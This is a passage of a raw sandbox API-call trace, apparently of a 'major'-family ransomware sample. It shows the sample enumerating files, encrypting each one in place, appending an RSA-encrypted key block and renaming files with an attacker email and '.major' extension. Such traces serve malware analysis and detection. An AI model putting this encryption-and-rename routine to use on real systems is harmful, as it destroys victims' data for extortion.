dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0133.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0133.120] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3150 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0133.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0133.120] GetLastError () returned 0x0 [0133.120] SetLastError (dwErrCode=0x0) [0133.120] GetLastError () returned 0x0 [0133.120] SetLastError (dwErrCode=0x0) [0133.120] GetLastError () returned 0x0 [0133.120] SetLastError (dwErrCode=0x0) [0133.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed98 [0133.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0133.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3290 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3290 | out: hHeap=0x570000) returned 1 [0133.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed98 | out: hHeap=0x570000) returned 1 [0133.120] FindNextFileW (in: hFindFile=0x5a3150, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0133.121] GetLastError () returned 0x0 [0133.121] SetLastError (dwErrCode=0x0) [0133.121] GetLastError () returned 0x0 [0133.121] SetLastError (dwErrCode=0x0) [0133.121] GetLastError () returned 0x0 [0133.121] SetLastError (dwErrCode=0x0) [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2ed0 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2ed0 | out: hHeap=0x570000) returned 1 [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0133.121] FindNextFileW (in: hFindFile=0x5a3150, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0133.121] GetLastError () returned 0x0 [0133.121] SetLastError (dwErrCode=0x0) [0133.121] GetLastError () returned 0x0 [0133.121] SetLastError (dwErrCode=0x0) [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0133.121] GetLastError () returned 0x0 [0133.121] SetLastError (dwErrCode=0x0) [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0133.122] FindNextFileW (in: hFindFile=0x5a3150, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0133.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0133.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0133.122] GetLastError () returned 0x0 [0133.122] SetLastError (dwErrCode=0x0) [0133.122] GetLastError () returned 0x0 [0133.122] SetLastError (dwErrCode=0x0) [0133.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0133.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0133.122] GetLastError () returned 0x0 [0133.122] SetLastError (dwErrCode=0x0) [0133.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0133.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0133.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0133.122] FindNextFileW (in: hFindFile=0x5a3150, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffabe9b0, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffabe9b0, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffabe9b0, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0133.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0133.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0133.122] GetLastError () returned 0x0 [0133.122] SetLastError (dwErrCode=0x0) [0133.122] GetLastError () returned 0x0 [0133.122] SetLastError (dwErrCode=0x0) [0133.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0133.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0133.122] GetLastError () returned 0x0 [0133.122] SetLastError (dwErrCode=0x0) [0133.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.122] FindNextFileW (in: hFindFile=0x5a3150, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0133.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0133.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0133.123] GetLastError () returned 0x0 [0133.123] SetLastError (dwErrCode=0x0) [0133.123] GetLastError () returned 0x0 [0133.123] SetLastError (dwErrCode=0x0) [0133.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0133.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0133.123] GetLastError () returned 0x0 [0133.123] SetLastError (dwErrCode=0x0) [0133.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0133.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0133.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0133.123] FindNextFileW (in: hFindFile=0x5a3150, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0133.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0133.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.123] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0133.123] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0133.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0133.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0133.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0133.124] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488 [0133.124] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14168) returned 1 [0133.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3758) returned 0x5dd860 [0133.124] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3758) returned 0x5e0fc0 [0133.124] ReadFile (in: hFile=0x488, lpBuffer=0x5dd860, nNumberOfBytesToRead=0x3758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5dd860*, lpNumberOfBytesRead=0x2e3f9b4*=0x3758, lpOverlapped=0x0) returned 1 [0133.351] SetFilePointer (in: hFile=0x488, lDistanceToMove=-14168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.351] WriteFile (in: hFile=0x488, lpBuffer=0x5e0fc0*, nNumberOfBytesToWrite=0x3758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e0fc0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3758, lpOverlapped=0x0) returned 1 [0133.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dd860 | out: hHeap=0x570000) returned 1 [0133.351] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e0fc0 | out: hHeap=0x570000) returned 1 [0133.352] SetFilePointer (in: hFile=0x488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3758 [0133.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.352] WriteFile (in: hFile=0x488, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0133.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0133.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0133.352] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0133.352] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="EI1WbiW74onGsA3LFNZZzVGdIaGgb0OgY8/ZlXQEtNPbFlfaWsUzXlZNwRBI+8gM\nyYdzfIgyonQjBXWfDqZ4octZSlq3ClNDVbwcgEujNqTK2QUqFf/T03IigC8mh83R\ne72i/RtIPj8Jmlv1FEDC6nrDBeCz+v1UGPeiL1qRu4yt51/KSQUg5FOPzF/1UTr+\nkIvZGqBs6CZSykt9XebJSrPrn3ArHLNiZUP0x2Vy82bOHYHUObfThMfnn/ZeD7bO\nx5zM07Fy06L0P3rWGuH0xu5S84bCuSpQMw+hYiw3HkHk8qyRBCWdNXK1gWGBIiMg\nU1KQuCdCXDAXKNiDojJYUw==\n", pcchString=0x2e3f9a8) returned 1 [0133.352] WriteFile (in: hFile=0x488, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0133.352] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.352] WriteFile (in: hFile=0x488, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.352] CloseHandle (hObject=0x488) returned 1 [0133.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0133.353] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1028\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0133.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0133.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0133.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0133.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0133.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.358] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0133.358] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0133.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0133.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0133.358] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0133.358] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488 [0133.358] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=60816) returned 1 [0133.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xed90) returned 0x5dd860 [0133.358] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xed90) returned 0x5ec5f8 [0133.358] ReadFile (in: hFile=0x488, lpBuffer=0x5dd860, nNumberOfBytesToRead=0xed90, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5dd860*, lpNumberOfBytesRead=0x2e3f9b4*=0xed90, lpOverlapped=0x0) returned 1 [0133.411] SetFilePointer (in: hFile=0x488, lDistanceToMove=-60816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.411] WriteFile (in: hFile=0x488, lpBuffer=0x5ec5f8*, nNumberOfBytesToWrite=0xed90, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ec5f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xed90, lpOverlapped=0x0) returned 1 [0133.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dd860 | out: hHeap=0x570000) returned 1 [0133.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ec5f8 | out: hHeap=0x570000) returned 1 [0133.414] SetFilePointer (in: hFile=0x488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xed90 [0133.414] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.414] WriteFile (in: hFile=0x488, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.414] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0133.414] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0133.415] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0133.415] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0133.415] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="SgG6cM4XHFYK2x9b3Cv0Fk7jTcerarUrG+AxHMD8ANtIDwxyL8O+QNvKWv3FKWQT\n72bxTVyAg2weaeDZ/Mcj778XENgHX8okfSn0AGi4EaiFqiQMW1gwC9LQetxOf5L3\nN0MD285XOV95fnb8lX05LUHpbVUaiAwITUxbfGLJRNDi9CuqCU1jJSYzmCRNZpUN\nGr8EalLG24g5P8+Lzr76aP382GE0MOZy6U11bRrO/5So1RaBvtdjBaMZvvWbFD5g\n2MovTPEQO8Ycl3cvyDP4/eDCPTPw+LnbGnLUN/ObAHAwpjm3YmNQNoFGdfVeKr2n\nPE9SmfxoV+DdlAwwxxhGfQ==\n", pcchString=0x2e3f9a8) returned 1 [0133.415] WriteFile (in: hFile=0x488, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0133.415] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.415] WriteFile (in: hFile=0x488, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.415] CloseHandle (hObject=0x488) returned 1 [0133.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0133.417] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1028\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0133.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0133.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0133.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0133.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0133.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0133.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.418] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0133.418] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1028\\eula.rtf", dwFileAttributes=0x80) returned 1 [0133.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0133.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0133.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0133.419] CreateFileW (lpFileName="\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x488 [0133.419] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6309) returned 1 [0133.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18a5) returned 0x5dd860 [0133.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18a5) returned 0x5df110 [0133.419] ReadFile (in: hFile=0x488, lpBuffer=0x5dd860, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5dd860*, lpNumberOfBytesRead=0x2e3f9b4*=0x18a5, lpOverlapped=0x0) returned 1 [0133.664] SetFilePointer (in: hFile=0x488, lDistanceToMove=-6309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.664] WriteFile (in: hFile=0x488, lpBuffer=0x5df110*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5df110*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18a5, lpOverlapped=0x0) returned 1 [0133.664] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dd860 | out: hHeap=0x570000) returned 1 [0133.664] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5df110 | out: hHeap=0x570000) returned 1 [0133.664] SetFilePointer (in: hFile=0x488, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18a5 [0133.664] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0133.665] WriteFile (in: hFile=0x488, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0133.665] 